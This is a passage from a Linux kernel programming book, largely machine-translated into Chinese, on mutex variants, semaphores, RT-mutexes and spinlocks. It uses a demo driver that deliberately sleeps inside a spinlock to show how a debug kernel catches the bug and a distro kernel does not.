-互斥锁的 trylock 变体的 API 如下: - -```sh -int mutex_trylock(struct mutex *lock); -``` - -这个应用编程接口的返回值表示运行时发生的事情: - -* `1`的返回值表示锁已成功获取。 -* `0`的返回值表示锁当前被竞争(锁定)。 - -Though it might sound tempting to, do *not* attempt to use the `mutex_trylock()` API to figure out if a mutex lock is in a locked or unlocked state; this is inherently "racy". Next, note that using this trylock variant in a highly contended lock path may well reduce your chances of acquiring the lock. The trylock variant has been traditionally used in deadlock prevention code that might need to back out of a certain lock order sequence and be retried via another sequence (ordering). - -此外,关于 trylock 变体,即使文献使用术语*原子地尝试和获取互斥体*,它也不在原子或中断上下文中工作——它只有*在进程上下文中工作(如同任何类型的互斥锁)。像往常一样,锁必须通过所有者上下文调用`mutex_unlock()`来释放。* - -我建议您尝试使用 trylock 互斥变量作为练习。作业参见本章末尾的*问题*部分! - -#### 互斥体可中断和可杀死的变体 - -正如您已经了解到的,当驱动程序(或模块)愿意确认任何(用户空间)中断它的信号(并返回`-ERESTARTSYS`告诉内核 VFS 层执行信号处理时,使用`mutex_lock_interruptible()`API;用户空间系统调用将在`errno`设置为`EINTR`时失败)。一个例子可以在内核中的模块处理代码中找到,在`delete_module(2)`系统调用中(它`rmmod(8)`调用): - -```sh -// kernel/module.c -[ ... ] -SYSCALL_DEFINE2(delete_module, const char __user *, name_user, - unsigned int, flags) -{ - struct module *mod; - [ ... ] - if (!capable(CAP_SYS_MODULE) || modules_disabled) - return -EPERM; - [ ... ] - if (mutex_lock_interruptible(&module_mutex) != 0) - return -EINTR; - mod = find_module(name); - [ ... ] -out: - mutex_unlock(&module_mutex); - return ret; -} -``` - -注意失败时 API 如何返回`-EINTR`。(`SYSCALL_DEFINEn()`宏变成系统调用签名;`n`表示该特定系统调用接受的参数数量。此外,请注意功能检查–除非您以 root 用户身份运行或具有`CAP_SYS_MODULE`功能(或模块加载完全禁用),否则系统调用只会返回一个故障(`-EPERM`)。) - -但是,如果您的驱动程序只愿意被致命信号中断(那些*将杀死*用户空间上下文的信号),那么使用`mutex_lock_killable()`应用编程接口(签名与可中断变体的签名相同)。 - -#### 互斥 io 变量 - -`mutex_lock_io()` API 在语法上与`mutex_lock()` API 相同;唯一不同的是,内核认为失败线程的等待时间与等待 I/O 的时间相同(`kernel/locking/mutex.c:mutex_lock_io()`中的代码注释清楚地记录了这一点;看一看)。就会计而言,这很重要。 - -You can find fairly exotic APIs such as `mutex_lock[_interruptible]_nested()` within the kernel, with the emphasis here being on the `nested` suffix. However, note that the Linux kernel does not prefer developers to use nested (or recursive) locking (as we mentioned in the *Correctly using the mutex lock* section). Also, these APIs only get compiled in the presence of the `CONFIG_DEBUG_LOCK_ALLOC` config option; in effect, the nested APIs were added to support the kernel lock validator mechanism. They should only be used in special circumstances (where a nesting level must be incorporated between instances of the same lock type). - -在下一节中,我们将回答一个典型的常见问题:互斥体和信号量对象有什么区别?Linux 甚至有信号量对象吗?请继续阅读了解详情! - -### 信号量和互斥量 - -Linux 内核确实提供了一个信号量对象,以及您可以对(二进制)信号量执行的常见操作: - -* 信号量锁通过`down[_interruptible]()`(和变体)应用编程接口获取 -* 通过`up()`应用编程接口解锁信号量。 - -In general, the semaphore is an older implementation, so it's advised that you use the mutex lock in place of it. - -一个值得关注的常见问题是:*互斥体和信号量有什么区别?*它们在概念上看似相似,但实际上有很大不同: - -* 信号量是互斥体的一种更广义的形式;互斥锁可以被获取(随后释放或解锁)一次,而信号量可以被获取(随后释放)多次。 -* 互斥体用于保护关键部分不被同时访问,而信号量应该作为一种机制来通知另一个等待的任务已经到达某个里程碑(通常,生产者任务通过信号量对象发布信号,消费者任务正在等待接收该信号,以便继续进一步的工作)。 -* 互斥体有锁所有权的概念,只有所有者上下文可以执行解锁;二进制信号量没有所有权。 - -### 优先级反转和实时互斥 - -在使用任何类型的锁定时,需要注意的一点是,您应该仔细设计和编码,以防止可能出现的可怕的*死锁*情况(在*的下一章锁验证器 lock dep–及早捕捉锁定问题*一节中有更多关于这方面的内容)。 - -除了死锁之外,在使用互斥体时还会出现另一种危险的情况:优先级反转(同样,我们不会在本书中深入研究细节)。只要说无界**优先级反转**的情况可能是致命的就够了;最终结果是,产品的高(est)优先级线程在 CPU 之外的时间过长。 - -As I covered in some detail in my earlier book, *Hands-on System Programming with Linux,* it's precisely this priority inversion issue that struck NASA's Mars Pathfinder robot, on the Martian surface no less, back in July 1997! See the *Further reading* section of this chapter for interesting resources about this, something that every software developer should be aware of! - -用户空间 Pthreads 互斥实现当然有**优先级继承** ( **PI** )语义可用。但是在 Linux 内核中呢?为此,Ingo Molnar 提供了基于 PI-futex 的 RT-mutex(一个实时互斥体;实际上,互斥体被扩展为具有 PI 功能。`futex(2)`是一个复杂的系统调用,提供了一个快速的用户空间互斥)。当`CONFIG_RT_MUTEXES`配置选项启用时,这些选项变为可用。与“常规”互斥语义非常相似,RT-mutex API 被提供来初始化,(解除)锁定和销毁 RT-mutex 对象。(这段代码已经从英戈·莫尔纳尔的`-rt`树合并到主线内核中)。就实际使用而言,RT-mutex 用于在内部实现 PI futex(系统调用`futex(2)`本身在内部实现 userspace Pthreads mutex)。除此之外,内核锁定自检代码和 I2C 子系统直接使用 RT-mutex。 - -因此,对于一个典型的模块(或驱动程序)作者来说,这些 API 不会被频繁使用。内核确实在[https://www . kernel . org/doc/Documentation/locking/RT-mutex-design . rst](https://www.kernel.org/doc/Documentation/locking/rt-mutex-design.rst)提供了一些关于 RT-mutex 内部设计的文档(涵盖优先级反转、优先级继承等等)。 - -### 内部设计 - -一句关于内核结构内部实现互斥锁的现实:Linux 试图在可能的情况下实现一种*快速路径*方法。 - -A **fast path** is the most optimized high-performance type of code path; for example, one with no locks and no blocking. The intent is to have code follow this fast path as far as possible. Only when it really isn't possible does the kernel fall back to a (possible) "mid path", and then a "slow path", approach; it still works but is slow(er). - -该快速路径是在没有锁争用的情况下采用的(也就是说,锁一开始就处于解锁状态)。所以,锁很快就被锁上了。但是,如果互斥体已经被锁定,那么内核通常使用中间路径乐观旋转实现,使其更像是混合(互斥体/自旋锁)锁类型。如果连这都做不到,就会遵循“慢路径”——试图获取锁的进程上下文很可能会进入睡眠状态。如果你对它的内部实现感兴趣,更多细节可以在官方内核文档中找到:[https://www . kernel . org/doc/Documentation/locking/mutex-design . rst](https://www.kernel.org/doc/Documentation/locking/mutex-design.rst)。 - -*LDV (Linux Driver Verification) project:* back in [Chapter 1](01.html), *Kernel Workspace Setup*, in the section *The LDV – Linux Driver Verification – project*, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules: *Locking a mutex twice or unlocking without prior locking* ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0032](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0032)). It mentions the kind of things you cannot do with the mutex lock (we have already covered this in the *Correctly using the mutex lock* section). The interesting thing here: you can see an actual example of a bug – a mutex lock double-acquire attempt, leading to (self) deadlock – in a kernel driver (as well as the subsequent fix). - -现在您已经理解了如何使用互斥锁,让我们继续看内核中另一个非常常见的锁——自旋锁。 - -# 使用自旋锁 - -在*互斥还是自旋锁?在*部分,您学习了何时使用自旋锁而不是互斥锁,反之亦然。为了方便起见,我们复制了之前在此提供的关键陈述: - -* **临界区是在原子(中断)上下文中运行,还是在无法休眠的进程上下文中运行?**使用自旋锁。 -* **临界区是否在进程上下文中运行,临界区的休眠是否必要?**使用互斥锁。 - -在本节中,我们将考虑您现在已经决定使用自旋锁。 - -## 自旋锁–简单的用法 - -对于所有的 spinlock APIs,您必须包含相关的头文件;也就是`include `。 - -类似于互斥锁,你*在使用前必须*声明并初始化自旋锁到解锁状态。自旋锁是通过名为`spinlock_t`的`typedef`数据类型声明的“对象”(在内部,它是在`include/linux/spinlock_types.h`中定义的结构)。可以通过`spin_lock_init()`宏动态初始化: - -```sh -spinlock_t lock; -spin_lock_init(&lock); -``` - -或者,这可以用`DEFINE_SPINLOCK(lock);`静态执行(声明和初始化)。 - -和互斥一样,在(全局/静态)数据结构中声明自旋锁是为了防止并发访问,这通常是一个非常好的主意。正如我们前面提到的,这个想法经常在内核中使用;例如,表示 Linux 内核上打开文件的数据结构称为`struct file`: - -```sh -// include/linux/fs.h -struct file { - [...] - struct path f_path; - struct inode *f_inode; /* cached value */ - const struct file_operations *f_op; - /* - * Protects f_ep_links, f_flags. - * Must not be taken from IRQ context. - */ - spinlock_t f_lock; - [...] - struct mutex f_pos_lock; - loff_t f_pos; - [...] -``` - -检查一下:对于`file`结构,名为`f_lock`的自旋锁变量是保护`file`数据结构的`f_ep_links`和`f_flags`成员的自旋锁(它还有一个互斥锁来保护另一个成员;即文件的当前寻道位置–`f_pos`)。 - -如何锁定和解锁自旋锁?内核向用户模块/驱动程序作者公开了相当多的 API 变体;旋转(解除)锁定 API 的最简单形式如下: - -```sh -void spin_lock(spinlock_t *lock); -<< ... critical section ... >> -void spin_unlock(spinlock_t *lock); -``` - -请注意,没有等同于`mutex_destroy()`应用编程接口的自旋锁。 - -现在,让我们来看看 spinlock APIs 的运行情况! - -## spin lock–示例驱动程序 - -类似于我们对互斥锁示例驱动程序所做的工作(*互斥锁–示例驱动程序*部分),为了说明自旋锁的简单用法,我们将复制我们早期的`ch12/1_miscdrv_rdwr_mutexlock`驱动程序作为启动模板,然后将其放入新的内核驱动程序中;也就是`ch12/2_miscdrv_rdwr_spinlock`。同样,在这里,我们将只显示该程序和该程序之间差异的一小部分(差异,由`diff(1)`生成的增量)(我们不会显示差异的每一行,只显示相关部分): - -```sh -// location: ch12/2_miscdrv_rdwr_spinlock/ -+#include -[ ... ] --#define OURMODNAME "miscdrv_rdwr_mutexlock" -+#define OURMODNAME "miscdrv_rdwr_spinlock" -[ ... ] -static int ga, gb = 1; --DEFINE_MUTEX(lock1); // this mutex lock is meant to protect the integers ga and gb -+DEFINE_SPINLOCK(lock1); // this spinlock protects the global integers ga and gb -[ ... ] -+/* The driver 'context' data structure; -+ * all relevant 'state info' reg the driver is here. - */ - struct drv_ctx { - struct device *dev; -@@ -63,10 +66,22 @@ - u64 config3; - #define MAXBYTES 128 - char oursecret[MAXBYTES]; -- struct mutex lock; // this mutex protects this data structure -+ struct mutex mutex; // this mutex protects this data structure -+ spinlock_t spinlock; // ...so does this spinlock - }; - static struct drv_ctx *ctx; -``` - -这一次,为了保护我们的`drv_ctx`全局数据结构的成员,我们同时拥有了原始的互斥锁和新的自旋锁。这是相当常见的;互斥锁保护可能发生阻塞的关键部分中的成员使用,而自旋锁用于保护不能发生阻塞(休眠——回想一下它可能休眠)的关键部分中的成员。 - -当然,我们必须确保初始化所有锁,使它们处于解锁状态。我们可以在驱动程序的`init`代码中这样做(继续补丁输出): - -```sh -- mutex_init(&ctx->lock); -+ mutex_init(&ctx->mutex); -+ spin_lock_init(&ctx->spinlock); -``` - -在驱动程序的`open`方法中,我们用自旋锁替换互斥锁,以保护全局整数的增量和减量: - -```sh - * open_miscdrv_rdwr() -@@ -82,14 +97,15 @@ - - PRINT_CTX(); // displays process (or intr) context info - -- mutex_lock(&lock1); -+ spin_lock(&lock1); - ga++; gb--; -- mutex_unlock(&lock1); -+ spin_unlock(&lock1); -``` - -现在,在驱动程序的`read`方法中,我们使用自旋锁代替互斥来保护一些关键部分: - -```sh - static ssize_t read_miscdrv_rdwr(struct file *filp, char __user *ubuf, size_t count, loff_t *off) - { -- int ret = count, secret_len; -+ int ret = count, secret_len, err_path = 0; - struct device *dev = ctx->dev; - -- mutex_lock(&ctx->lock); -+ spin_lock(&ctx->spinlock); - secret_len = strlen(ctx->oursecret); -- mutex_unlock(&ctx->lock); -+ spin_unlock(&ctx->spinlock); -``` - -然而,这还不是全部!继续司机的`read`方法,仔细看看下面的代码和注释: - -```sh -[ ... ] -@@ -139,20 +157,28 @@ - * member to userspace. - */ - ret = -EFAULT; -- mutex_lock(&ctx->lock); -+ mutex_lock(&ctx->mutex); -+ /* Why don't we just use the spinlock?? -+ * Because - VERY IMP! - remember that the spinlock can only be used when -+ * the critical section will not sleep or block in any manner; here, -+ * the critical section invokes the copy_to_user(); it very much can -+ * cause a 'sleep' (a schedule()) to occur. -+ */ - if (copy_to_user(ubuf, ctx->oursecret, secret_len)) { -[ ... ] -``` - -当保护关键部分可能有阻塞 API 的数据时,例如在`copy_to_user()`中,我们*必须*只使用互斥锁!(由于空间不足,我们没有在这里显示更多的代码差异;我们希望您通读 spinlock 示例驱动程序代码,并亲自尝试一下。) - -## 测试-在原子环境中睡眠 - -你已经知道了我们不应该做的一件事是在任何原子或中断上下文中休眠(阻塞)。让我们来测试一下。一如既往,经验方法——你为自己测试而不是依赖他人的经验——是关键! - -我们到底如何测试这个?简单:我们将使用一个简单的整数模块参数`buggy`,当设置为`1`(默认值为`0`)时,它将在自旋锁的临界区内执行一个违反该规则的代码路径。我们将调用`schedule_timeout()`应用编程接口(正如您在[第 15 章](12.html)、*定时器、内核线程和更多*中所学习的,在*理解如何使用*sleep()阻塞应用编程接口*部分)内部调用`schedule()`;这就是我们在内核空间睡觉的方式)。以下是相关代码: - -```sh -// ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c -[ ... ] -static int buggy; -module_param(buggy, int, 0600); -MODULE_PARM_DESC(buggy, -"If 1, cause an error by issuing a blocking call within a spinlock critical section"); -[ ... ] -static ssize_t write_miscdrv_rdwr(struct file *filp, const char __user *ubuf, - size_t count, loff_t *off) -{ - int ret, err_path = 0; - [ ... ] - spin_lock(&ctx->spinlock); - strlcpy(ctx->oursecret, kbuf, (count > MAXBYTES ? MAXBYTES : count)); - [ ... ] - if (1 == buggy) { - /* We're still holding the spinlock! */ - set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(1*HZ); /* ... and this is a blocking call! - * Congratulations! you've just engineered a bug */ - } - spin_unlock(&ctx->spinlock); - [ ... ] -} -``` - -现在,对于有趣的部分:让我们在两个内核中测试这个(有问题的)代码路径:首先,在我们定制的 5.4“调试”内核中(在这个内核中,我们已经启用了几个内核调试配置选项(大部分来自`make menuconfig`中的`Kernel Hacking`菜单),如[第 5 章](05.html)、*编写您的第一个内核模块–LKMs 第 2 部分*中所解释的),其次,在一个通用发行版(我们通常在 Ubuntu 上运行)5.4 内核上,没有启用任何相关的内核调试选项。 - -### 在 5.4 调试内核上进行测试 - -首先,确保您已经构建了定制的 5.4 内核,并且启用了所有必需的内核调试配置选项(如果需要,请再次查看[第 5 章](05.html)、*编写您的第一个内核模块–LKMs 第 2 部分*、*配置调试内核*部分)。然后,启动你的调试内核(这里,它被命名为`5.4.0-llkd-dbg`)。现在,根据这个调试内核构建驱动程序(在`ch12/2_miscdrv_rdwr_spinlock/`中)(驱动程序目录中通常的`make`应该这样做;您可能会发现,在调试内核上,构建速度明显较慢!): - -```sh -$ lsb_release -a 2>/dev/null | grep "^Description" ; uname -r -Description: Ubuntu 20.04.1 LTS -5.4.0-llkd-dbg $ make -[ ... ] -$ modinfo ./miscdrv_rdwr_spinlock.ko -filename: /home/llkd/llkd_src/ch12/2_miscdrv_rdwr_spinlock/./miscdrv_rdwr_spinlock.ko -[ ... ] -description: LLKD book:ch12/2_miscdrv_rdwr_spinlock: simple misc char driver rewritten with spinlocks -[ ... ] -parm: buggy:If 1, cause an error by issuing a blocking call within a spinlock critical section (int) -$ sudo virt-what -virtualbox -kvm -$ -``` - -如您所见,我们正在 x86_64 Ubuntu 20.04 来宾虚拟机上运行定制的 5.4.0“调试”内核。 - -How do you know whether you're running on a **virtual machine** (**VM**) or on the "bare metal" (native) system? `virt-what(1)` is a useful little script that shows this (you can install it on Ubuntu with `sudo apt install virt-what`). - -要运行我们的测试用例,将驱动程序插入内核并将`buggy`模块参数设置为`1`。调用驱动程序的`read`方法(通过我们的用户空间应用;也就是说,`ch12/miscdrv_rdwr/rdwr_test_secret`)不是问题,如下图所示: - -```sh -$ sudo dmesg -C -$ sudo insmod ./miscdrv_rdwr_spinlock.ko buggy=1 -$ ../../ch12/miscdrv_rdwr/rdwr_test_secret -Usage: ../../ch12/miscdrv_rdwr/rdwr_test_secret opt=read/write device_file ["secret-msg"] - opt = 'r' => we shall issue the read(2), retrieving the 'secret' form the driver - opt = 'w' => we shall issue the write(2), writing the secret message - (max 128 bytes) -$ -$ ../../ch12/miscdrv_rdwr/rdwr_test_secret r /dev/llkd_miscdrv_rdwr_spinlock -Device file /dev/llkd_miscdrv_rdwr_spinlock opened (in read-only mode): fd=3 -../../ch12/miscdrv_rdwr/rdwr_test_secret: read 7 bytes from /dev/llkd_miscdrv_rdwr_spinlock -The 'secret' is: - "initmsg" -$ -``` - -接下来,我们通过用户模式 app 向驾驶员发出`write(2)`;这一次,我们的错误代码路径被执行。如您所见,我们在自旋锁临界区(即锁定和解锁之间)发出了`schedule_timeout()`。调试内核将此检测为一个错误,并在内核日志中生成(非常大的)调试诊断(请注意,像这样的错误很可能会挂起您的系统,因此首先在虚拟机上测试它): - -![](img/4e11ed71-d49f-4aa6-ada2-da387e9b90ac.png) - -Figure 12.9 – Kernel diagnostics being triggered by the "scheduling in atomic context" bug we've deliberately hit here - -前面的截图显示了发生的部分情况(在`ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c`中查看驱动程序代码时跟随): - -1. 首先,我们有我们的用户模式 app 的流程上下文(`rdwr_test_secre`;注意名称是如何被截断到前 16 个字符的,包括`NULL`字节),这就进入了驱动程序的写方法;也就是`write_miscdrv_rdwr()`。这可以在我们有用的`PRINT_CTX()`宏的输出中看到(我们在这里复制了这条线): - -```sh -miscdrv_rdwr_spinlock:write_miscdrv_rdwr(): 004) rdwr_test_secre :23578 | ...0 /* write_miscdrv_rdwr() */ -``` - -2. 它从用户空间写入器进程中复制新的“秘密”并写入,为 24 字节。 -3. 然后,它“获取”自旋锁,进入临界区,并将该数据复制到我们的驱动程序上下文结构的`oursecret`成员。 -4. 之后,`if (1 == buggy) {`评估为真。 -5. 然后,它调用`schedule_timeout()`,这是一个阻塞 API(就像它内部调用`schedule()`),触发 bug,用红色突出显示: - -```sh -BUG: scheduling while atomic: rdwr_test_secre/23578/0x00000002 -``` - -6. 内核现在转储了大量的诊断输出。首先要转储的是**调用栈**。 - -在*图 12.9* 中可以清楚地看到进程内核模式堆栈的调用堆栈或堆栈回溯(或“调用跟踪”)——这里是我们的用户空间应用`rdwr_drv_secret`,它正在进程上下文中运行我们的(有问题的)驱动程序代码。`Call Trace:`头后的每一行本质上都是内核堆栈上的一个调用帧。 - -作为提示,忽略以`?`符号开始的堆栈帧;它们实际上是有问题的调用帧,很可能是同一内存区域中先前堆栈使用的“剩余部分”。这里值得采取一个与内存相关的小转移:这是堆栈分配真正的工作方式;堆栈内存不是在每次调用帧的基础上分配和释放的,因为那样会非常昂贵。只有当一个堆栈内存页面耗尽时,一个新页面才会自动出现故障!(回想一下我们在第 9 章、*模块作者的内核内存分配–第 2 部分*中的讨论,在*内存分配和按需分页*部分的简要说明中。)所以,现实是,当代码从函数中调用和返回时,同一个堆栈内存页往往会不断被重用。 - -不仅如此,出于性能原因,每次都不会擦除内存,导致之前帧的残羹剩饭经常出现。(他们可以随便“糟蹋”画面。然而,幸运的是,现代堆栈调用帧跟踪算法通常能够出色地找出正确的堆栈跟踪。) - -遵循堆栈跟踪自下而上(*总是自下而上*读取),我们可以看到,不出所料,我们的用户空间`write(2)`系统调用(它经常显示为(类似于)`SyS_write`或者,在 x86 上显示为`__x64_sys_write`,虽然在*图 12.9* 中不可见)调用了内核的 VFS 层代码(这里可以看到`vfs_write()`,它调用了`__vfs_write()`,这进一步调用了我们的驱动程序的编写方法;也就是`write_miscdrv_rdwr()`!正如我们所知,这段代码调用了我们称之为`schedule_timeout()`的错误代码路径,该路径又调用了`schedule()`(和`__schedule()`),导致整个 **`BUG: scheduling while atomic`** bug 被触发。 - -`scheduling while atomic`代码路径的格式是从下面一行代码中检索出来的,可以在`kernel/sched/core.c`中找到: - -```sh -printk(KERN_ERR "BUG: scheduling while atomic: %s/%d/0x%08x\n", prev->comm, prev->pid, preempt_count()); -``` - -有意思!在这里,您可以看到它打印了以下字符串: - -```sh - BUG: scheduling while atomic: rdwr_test_secre/23578/0x00000002 -``` - -在`atomic:`之后,它打印进程名——PID——然后调用`preempt_count()`内联函数,该函数打印*抢占深度*;抢占深度是一个计数器,每次锁定时递增,每次解锁时递减。所以,如果它是正的,这意味着代码在一个关键的或原子的部分;在这里,它表现为价值`2`。 - -请注意,这个错误在这个测试运行期间被巧妙地解决了,正是因为`CONFIG_DEBUG_ATOMIC_SLEEP`调试内核配置选项被打开了。它之所以打开,是因为我们正在运行一个定制的“调试内核”(内核版本 5.4.0)!配置选项详细信息(您可以在`Kernel Hacking`菜单下的`make menuconfig`中交互查找和设置该选项)如下: - -```sh -// lib/Kconfig.debug -[ ... ] -config DEBUG_ATOMIC_SLEEP - bool "Sleep inside atomic section checking" - select PREEMPT_COUNT - depends on DEBUG_KERNEL - depends on !ARCH_NO_PREEMPT - help - If you say Y here, various routines which may sleep will become very - noisy if they are called inside atomic sections: when a spinlock is - held, inside an rcu read side critical section, inside preempt disabled - sections, inside an interrupt, etc... -``` - -### 在 5.4 非调试发行版内核上进行测试 - -作为对比测试,我们现在将在我们的 Ubuntu 20.04 LTS 虚拟机上执行同样的操作,我们将通过其默认的通用“发行版”5.4 Linux 内核进行引导,该内核通常是*而不是配置为“调试”内核*(这里`CONFIG_DEBUG_ATOMIC_SLEEP`内核配置选项尚未设置)。 - -首先,我们插入我们的(有问题的)驱动程序。然后,当我们运行我们的`rdwr_drv_secret`进程以便向驱动程序写入新的秘密时,错误的代码路径被执行。然而,这一次,内核*没有崩溃,也没有报告任何问题*(查看`dmesg(1)`输出验证了这一点): - -```sh -$ uname -r -5.4.0-56-generic -$ sudo insmod ./miscdrv_rdwr_spinlock.ko buggy=1 -$ ../../ch12/miscdrv_rdwr/rdwr_test_secret w /dev/llkd_miscdrv_rdwr_spinlock "passwdcosts500bucksdude" -Device file /dev/llkd_miscdrv_rdwr_spinlock opened (in write-only mode): fd=3 -../../ch12/miscdrv_rdwr/rdwr_test_secret: wrote 24 bytes to /dev/llkd_miscdrv_rdwr_spinlock -$ dmesg -[ ... ] -[ 65.420017] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): LLKD misc driver (major # 10) registered, minor# = 56, dev node is /dev/llkd_miscdrv_rdwr -[ 81.665077] miscdrv_rdwr_spinlock:miscdrv_exit_spinlock(): miscdrv_rdwr_spinlock: LLKD misc driver deregistered, bye -[ 86.798720] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): VERMAGIC_STRING = 5.4.0-56-generic SMP mod_unload -[ 86.799890] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): LLKD misc driver (major # 10) registered, minor# = 56, dev node is /dev/llkd_miscdrv_rdwr -[ 130.214238] misc llkd_miscdrv_rdwr_spinlock: filename: "llkd_miscdrv_rdwr_spinlock" - wrt open file: f_flags = 0x8001 - ga = 1, gb = 0 -[ 130.219233] misc llkd_miscdrv_rdwr_spinlock: stats: tx=0, rx=0 -[ 130.219680] misc llkd_miscdrv_rdwr_spinlock: rdwr_test_secre wants to write 24 bytes -[ 130.220329] misc llkd_miscdrv_rdwr_spinlock: 24 bytes written, returning... (stats: tx=0, rx=24) -[ 131.249639] misc llkd_miscdrv_rdwr_spinlock: filename: "llkd_miscdrv_rdwr_spinlock" - ga = 0, gb = 1 -[ 131.253511] misc llkd_miscdrv_rdwr_spinlock: stats: tx=0, rx=24 -$ -``` - -我们知道我们的写方法有一个致命的错误,但它似乎没有以任何方式失败!这真的很糟糕;正是这种事情会错误地让你认为你的代码很好,而实际上有一个讨厌的 bug 静静地躺在那里,等待某一天突然出现! - -为了帮助我们调查引擎盖下到底发生了什么,让我们再次运行我们的测试应用(T0)进程,但这次是通过强大的`trace-cmd(1)`工具(Ftrace 内核基础设施上非常有用的包装器;以下是它的截断输出: - -The Linux kernel's **Ftrace** infrastructure is the kernel's primary tracing infrastructure; it provides a detailed trace of pretty much every function that's been executed in the kernel space. Here, we are leveraging Ftrace via a convenient frontend: the `trace-cmd(1)` utility. These are indeed very powerful and useful debug tools; we've mentioned several others in [Chapter 1](01.html), *Kernel Workspace Setup*, but unfortunately, the details are beyond the scope of this book. Check out the man pages to learn more. - -```sh -$ sudo trace-cmd record -p function_graph -F ../../ch12/miscdrv_rdwr/rdwr_test_secret w /dev/llkd_miscdrv_rdwr_spinlock "passwdcosts500bucks" -$ sudo trace-cmd report -I -S -l > report.txt -$ sudo less report.txt -[ ... ] -``` - -输出可以在下面的截图中看到: - -![](img/86b09a6b-0126-4ddc-be1c-1df840f8e7a5.png) - -Figure 12.10 – A partial screenshot of the trace-cmd(1) report output - -如您所见,来自我们的用户模式应用的`write(2)`系统调用如预期的那样变成了`vfs_write()`,它本身(在安全检查之后)调用`__vfs_write()`,反过来调用我们的驱动程序的写方法–函数`write_miscdrv_rdwr()`! - -在(大的)Ftrace 输出流中,我们可以看到`schedule_timeout()`函数确实被调用了: - -![](img/31795aab-e6e1-42b1-9d63-25212b2a1a37.png) - -Figure 12.11 – A partial screenshot of the trace-cmd(1) report output, showing the (buggy!) calls to schedule_timeout() and schedule() within an atomic context - -`schedule_timeout()`后的几行输出,我们可以清晰的看到`schedule()`被调用!于是,我们就有了:我们的司机(当然是故意的)做了一些错误的事情——在原子环境中称之为`schedule()`。但是,这里的关键点是,在这个 Ubuntu 系统上,我们运行的是*而不是*的“调试”内核,这就是为什么我们有以下内容: - -```sh -$ grep DEBUG_ATOMIC_SLEEP /boot/config-5.4.0-56-generic -# CONFIG_DEBUG_ATOMIC_SLEEP is not set -$ -``` - -这就是为什么这个 bug 没有被报告!这证明了在“调试”内核上运行测试用例——实际上是执行内核开发——的有用性,这是一个启用了许多调试功能的内核。(作为练习,如果您还没有这样做,准备一个“调试”内核,并在其上运行这个测试用例。) - -*LDV (Linux Driver Verification) project:* back in [Chapter 1](01.html), *Kernel Workspace Setup*, in the section *The LDV – Linux Driver Verification – project*, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules: *Usage of spin lock and unlock functions* ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0039](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0039)). It mentions key points with regard to the correct usage of spinlocks; interestingly, here, it shows an actual bug instance in a driver where a spinlock was attempted to be released twice – a clear violation of the locking rules, leading to an unstable system. - -# 锁定和中断 - -到目前为止,我们已经学习了如何使用互斥锁,对于自旋锁,我们还学习了基本的`spin_[un]lock()`API。spinlock 上还有一些其他的 API 变体,我们将在这里研究更常见的变体。 - -为了确切地理解为什么您可能需要用于自旋锁的其他 API,让我们来看一个场景:作为驱动程序作者,您发现您正在处理的设备断言硬件中断;相应地,您可以为它编写中断处理程序(您可以在 *Linux 内核编程(第 2 部分)*一书中了解关于它的更多细节)。现在,在为您的驱动程序实现`read`方法时,您发现其中有一个非阻塞临界区。这很容易处理:正如您所了解的,您应该使用自旋锁来保护它。太好了。但是如果在`read`方法的关键部分,设备的硬件中断触发了呢?如你所知,*硬件中断抢占一切*;因此,控制将转到中断处理程序代码,抢占驱动程序的`read`方法。 - -这里的关键问题是:这是一个问题吗?这个答案既取决于你的中断处理器和你的`read`方法在做什么,也取决于它们是如何实现的。让我们想象几个场景: - -* 中断处理程序(理想情况下)只使用局部变量,所以即使`read`方法在临界区,也真的没关系;中断处理将很快完成,控制权将交还给被中断的任何一方(同样,事情不止如此;如您所知,任何现有的下半部分,如小任务或 softirq,也可能需要执行)。换句话说,正因为如此,这种情况下真的没有种族。 -* 中断处理程序正在处理(全局)共享可写数据,但不是您的读取方法正在使用的数据项。因此,同样,与读取的代码没有冲突和竞争。当然,你应该意识到的是,中断代码*确实有一个关键部分,它必须受到保护*(也许用另一个自旋锁)。 -* 中断处理程序正在处理您的`read`方法正在使用的同一个全局共享可写数据。在这种情况下,我们可以看到一场比赛的潜力肯定存在,所以我们需要锁定! - -让我们关注第三种情况。显然,我们应该使用自旋锁来保护中断处理代码中的关键部分(回想一下,当我们处于任何类型的中断上下文中时,都不允许使用互斥锁)。此外,*除非我们在`read`方法和中断处理程序的代码路径中使用完全相同的自旋锁*,否则它们根本不会受到保护!(使用锁时要小心;花时间仔细思考你的设计和代码。) - -让我们试着让它更实际一点(现在用伪代码):假设我们有一个名为`gCtx`的全局(共享)数据结构;我们在驱动程序内的`read`方法和中断处理程序(hardirq 处理程序)中对其进行操作。因为它是共享的,所以它是一个关键部分,因此需要保护;由于我们在原子(中断)上下文中运行,我们*不能使用互斥体*,所以我们必须使用自旋锁来代替(这里,自旋锁变量被称为`slock`)。下面的伪代码显示了这种情况下的一些时间戳(`t1, t2, ...`): - -```sh -// Driver read method ; WRONG ! driver_read(...) << time t0 >> -{ - [ ... ] - spin_lock(&slock); - <<--- time t1 : start of critical section >> -... << operating on global data object gCtx >> ... - spin_unlock(&slock); - <<--- time t2 : end of critical section >> - [ ... ] -} << time t3 >> -``` - -以下伪代码用于设备驱动程序的中断处理程序: - -```sh -handle_interrupt(...) << time t4; hardware interrupt fires! >> -{ - [ ... ] - spin_lock(&slock); - <<--- time t5: start of critical section >> - ... << operating on global data object gCtx >> ... - spin_unlock(&slock); - <<--- time t6 : end of critical section >> - [ ... ] -} << time t7 >> -``` - -这可以用下图来概括: - -![](img/c0cae4b8-1ada-4bfc-8c9d-ac25ea5a4215.png) - -Figure 12.12 – Timeline – the driver's read method and hardirq handler run sequentially when working on global data; there's no issues here - 